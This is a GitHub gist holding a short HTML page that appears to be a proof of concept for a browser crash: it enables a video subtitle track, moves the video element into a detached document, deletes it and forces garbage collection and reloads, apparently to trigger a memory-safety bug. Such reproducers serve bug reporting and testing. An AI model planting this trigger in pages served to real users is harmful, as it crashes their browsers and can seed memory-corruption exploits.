Skip to content

Instantly share code, notes, and snippets.

@leo60228
Created August 11, 2022 20:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leo60228/02513ae0da198a7e946e91d04c7f74b1 to your computer and use it in GitHub Desktop.
Save leo60228/02513ae0da198a7e946e91d04c7f74b1 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head>
<script>
function startTest()
{
document.getElementsByTagName('track')[0].track.mode = 'showing';
setTimeout(CFcrash, 5000);
}
function forceGC() {
for (var i = 0; i < 10000; i++) {
var s = new String("abc");
}
window.location.reload();
}
function CFcrash()
{
document1 = document.implementation.createDocument("", null);
document1.appendChild(videoElement);
delete document1;
setTimeout(forceGC, 0);
}
document.addEventListener("DOMContentLoaded", startTest, false);
</script>
</head>
<body>
<p>Instructions: Play the video, enable subtitles, play again when video finishes</p>
<video autoplay id="videoElement">
<source src="test.mp4">
<track src="captions-fast.vtt" default>
</video>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment